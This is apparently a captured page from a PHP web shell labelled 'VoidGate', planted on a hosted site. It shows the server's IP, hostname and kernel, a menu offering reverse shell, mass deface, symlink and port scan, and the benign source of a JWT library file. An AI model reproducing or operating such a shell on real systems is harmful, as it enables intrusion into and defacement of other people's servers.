ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
namshi
/
jose
/
src
/
Namshi
/
JOSE
/
Viewing: JWT.php
<?php namespace Namshi\JOSE; use Namshi\JOSE\Base64\Base64UrlSafeEncoder; use Namshi\JOSE\Base64\Encoder; /** * Class representing a JSON Web Token. */ class JWT { /** * @var array */ protected $payload; /** * @var array */ protected $header; /** * @var Encoder */ protected $encoder; /** * Constructor. * * @param array $payload * @param array $header */ public function __construct(array $payload, array $header) { $this->setPayload($payload); $this->setHeader($header); $this->setEncoder(new Base64UrlSafeEncoder()); } /** * @param Encoder $encoder */ public function setEncoder(Encoder $encoder) { $this->encoder = $encoder; return $this; } /** * Generates the signininput for the current JWT. * * @return string */ public function generateSigninInput() { $base64payload = $this->encoder->encode(json_encode($this->getPayload(), JSON_UNESCAPED_SLASHES)); $base64header = $this->encoder->encode(json_encode($this->getHeader(), JSON_UNESCAPED_SLASHES)); return sprintf('%s.%s', $base64header, $base64payload); } /** * Returns the payload of the JWT. * * @return array */ public function getPayload() { return $this->payload; } /** * Sets the payload of the current JWT. * * @param array $payload */ public function setPayload(array $payload) { $this->payload = $payload; return $this; } /** * Returns the header of the JWT. * * @return array */ public function getHeader() { return $this->header; } /** * Sets the header of this JWT. * * @param array $header */ public function setHeader(array $header) { $this->header = $header; return $this; } }
Coded With 💗 by
0x6ick